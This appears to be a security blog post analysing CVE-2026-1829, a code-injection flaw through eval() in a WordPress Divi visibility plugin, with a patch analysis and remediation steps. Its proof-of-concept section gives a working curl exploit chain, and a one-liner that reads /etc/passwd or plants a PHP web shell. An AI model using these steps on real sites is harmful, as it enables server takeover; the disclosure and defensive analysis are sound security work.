Content Visibility for Divi Builder WordPress plugin banner

CVE-2026-1829: Contributor+ RCE in Divi Builder Plugin (CVSS 8.8)

Updated 7 min read

CVE-2026-1829 is a CVSS 8.8 (High) Remote Code Execution vulnerability in the Content Visibility for Divi Builder WordPress plugin. An authenticated attacker with Contributor-level access can place arbitrary PHP code in a Divi module shortcode attribute and execute it on the server — without any admin interaction.

Vulnerability Summary

FieldValue
Plugin NameContent Visibility for Divi Builder
Plugin Slugcontent-visibility-for-divi-builder
CVE IDCVE-2026-1829
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeRemote Code Execution (Code Injection)
Affected Versions<= 4.02
Patched Version5.00
PublishedJune 2, 2026
ResearcherZAST.AI
Wordfence AdvisoryLink

Description

The Content Visibility for Divi Builder plugin lets site owners show or hide Divi modules based on a PHP boolean expression. That expression is stored as the cvdb_content_visibility_check attribute on any Divi shortcode, such as [et_pb_text].

The plugin passes this attribute value directly to PHP’s eval() — with no sanitization, no token checking, and no callable filtering. Because Contributors can create draft posts and preview them, they can inject any PHP code and have it execute on the server the moment the preview loads.

Technical Analysis

Plugin Architecture

Content Visibility for Divi Builder wraps every registered Divi Builder shortcode (including et_pb_text, et_pb_section, and all others) in a custom class called CVDB_ET_Builder_Element. This wrapper intercepts shortcode rendering to check the cvdb_content_visibility_check attribute before deciding whether to render the module.

The two files involved are:

  • includes/cvdb-et-builder-element.class.php — the shortcode wrapper
  • includes/plugin.class.php — contains the dangerous evaluate_visibility_expression() method

The Vulnerable Function

In includes/plugin.class.php (lines 229–257 of version 4.02):

public static function evaluate_visibility_expression($expression, $type, $data) {
    $visibility = true;

    try {
        eval( '$visibility = ' . $expression . ';' );
    } catch (ParseError | Error $error) {
        // ... error email sent to admin ...
        $visibility = false;
    }

    return $visibility;
}

The $expression parameter is taken directly from the shortcode attribute. There is no validation, no sanitization, and no allowlist. The eval() call builds the string $visibility = <attacker-input>; and executes it.

The Execution Path

  1. A Contributor creates a post containing any Divi shortcode with a malicious cvdb_content_visibility_check attribute.
  2. When the post is previewed, WordPress renders the shortcode by calling the plugin’s cvdb_execute() method (cvdb-et-builder-element.class.php, line 70).
  3. The method reads the attribute value at line 97:
$visibility = ContentVisibilityForDiviBuilder::evaluate_visibility_expression(
    str_replace( array( '%22', '%5D' ), array( '"', ']' ), $atts['cvdb_content_visibility_check'] ),
    'shortcode',
    $this->wrapped_element
);
  1. The plugin applies a simple str_replace for URL-encoded characters, then passes the value directly to evaluate_visibility_expression().
  2. eval() executes the attacker’s code on the server.

The str_replace for %22" and %5D] is not a security control — it is a Divi Builder encoding compatibility shim. It does not prevent code injection.

Why Contributors Can Exploit This

Contributors in WordPress can:

  • Create new posts and save them as drafts or pending review
  • Access the preview URL for their own posts

WordPress processes shortcodes when rendering the post preview. The cvdb_execute() handler has no check for is_user_logged_in() with a high-privilege role, nor does it check who authored the post. Any preview of a post containing the shortcode will trigger the eval().

Because Contributors can preview their own drafts — without admin approval — they can trigger the RCE immediately after creating the post.

Proof of Concept

Disclaimer: This proof of concept is provided for educational purposes only. Testing should only be performed on systems you own or have explicit written permission to test.

Prerequisites:

  • WordPress site with Content Visibility for Divi Builder <= 4.02 installed and active
  • Divi Builder plugin installed and active
  • An account with at least Contributor-level access

Step 1 — Authenticate and get a nonce

# Get a login nonce first
LOGIN_NONCE=$(curl -sc cookies.txt "http://target.test/wp-login.php" \
  | grep -oP '(?<=name="wploginform" value=")[^"]+')

# Log in as a Contributor
curl -sb cookies.txt -c cookies.txt "http://target.test/wp-login.php" \
  -d "log=contributor&pwd=password&wploginform=${LOGIN_NONCE}&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check" -L -o /dev/null

# Get a REST API nonce
REST_NONCE=$(curl -sb cookies.txt "http://target.test/wp-admin/admin-ajax.php?action=rest-nonce" | tr -d '"')

Step 2 — Create a draft post with the malicious shortcode

# The payload: system('id') returns the OS user — proof of RCE
PAYLOAD='system('\''id'\'')// '

POST_ID=$(curl -sb cookies.txt \
  "http://target.test/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: ${REST_NONCE}" \
  -d "{
    \"title\": \"Test\",
    \"content\": \"[et_pb_text cvdb_content_visibility_check=\\\"${PAYLOAD}\\\"]Hello[/et_pb_text]\",
    \"status\": \"draft\"
  }" | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

echo "Draft post ID: $POST_ID"

Step 3 — Preview the post to trigger RCE

# Request the preview — the shortcode is rendered, eval() fires
curl -sb cookies.txt \
  "http://target.test/?p=${POST_ID}&preview=true" | grep -o 'uid=[0-9]*.*'

Expected output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The output from system('id') appears in the page source because system() prints its result directly to output. This confirms arbitrary command execution on the server.

Verification

Replace system('id') with file_get_contents('/etc/passwd') to read arbitrary files, or with file_put_contents('/var/www/html/shell.php','<?php system($_GET[0]);') to plant a web shell.

Patch Analysis

Version 5.00 introduces a comprehensive token-based expression validation system. The fix has three components:

1. validate_expression() — token allowlist + callable denylist

The new validate_expression() method (plugin.class.php, line 402) tokenizes the expression using PHP’s token_get_all() and enforces:

  • Token allowlist: Only literals, constants, comparison operators, logical operators, and array syntax are permitted. T_VARIABLE ($var), assignment operators, and heredocs are blocked.
  • Callable allowlist: Any function call must appear in the get_allowed_callables() list. Unknown callables are rejected.
  • Callable denylist: eval, assert, system, exec, shell_exec, passthru, popen, proc_open, create_function, and others are explicitly blocked.
  • Character allowlist: Only (), ,, !, comparison, and arithmetic characters are allowed. Semicolons, dollar signs, and backticks are blocked.

2. Publish gate in SecurityScanner

The new SecurityScanner class hooks into wp_insert_post_data and rest_pre_insert_post to block publishing when expressions fail validation. When validation is enabled:

  • Classic Editor saves are intercepted and fail with a wp_die() error page
  • REST API saves receive a 400 Bad Request with a JSON error body
  • AJAX saves (Divi’s Visual Builder) receive a JSON error response

3. Isolated eval() in global namespace helper

The eval() call is moved to includes/global-eval-helper.php, a file with no PHP namespace declaration:

function cvdb_eval_expression( $expression ) {
    return eval( 'return ' . $expression . ';' );
}

Callers inside the plugin’s namespace now invoke \cvdb_eval_expression(). This ensures that expressions resolve functions and constants against the global namespace (matching user expectations) while centralizing the single eval() call site for easier auditing.

Note: The validation system is opt-in — it must be enabled by an administrator via the plugin settings. However, the publish gate and the token/callable denylist provide meaningful protection even without full validation mode enabled.

The Key Diff

 public static function evaluate_visibility_expression($expression, $type, $data) {
     $visibility = true;
 
+    $validation_enabled = get_option( self::$validation_option_key );
+    if ( $validation_enabled === '1' ) {
+        $validation_result = self::validate_expression( $expression );
+        if ( $validation_result !== true ) {
+            // log and return $visibility (default: show content)
+            return $visibility;
+        }
+    }
+
     try {
-        eval( '$visibility = ' . $expression . ';' );
+        $visibility = (bool) \cvdb_eval_expression( $expression );
     } catch (\ParseError | \Error $error) {

Timeline

DateEvent
June 2, 2026Vulnerability publicly disclosed by Wordfence
June 2, 2026Patched version 5.00 released
June 7, 2026Blog post published

Remediation

Update the Content Visibility for Divi Builder plugin to version 5.00 or later immediately.

  1. Go to WordPress Admin → Plugins → Installed Plugins
  2. Find Content Visibility for Divi Builder
  3. Click Update Now

After updating, navigate to the plugin’s settings and enable expression validation to activate the full security protection. The plugin’s API Reference page (Tools → Content Visibility for Divi Builder API Reference → Security tab) also provides a content scanner to audit existing posts for dangerous expressions.

If you cannot update immediately, consider removing the plugin or restricting Contributor-level access on your site until the update can be applied.

References

  1. Wordfence Advisory — CVE-2026-1829
  2. Trac — Vulnerable source: plugin.class.php#L229
  3. Trac — Patch changeset 3543621
  4. CVE Record — CVE-2026-1829
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee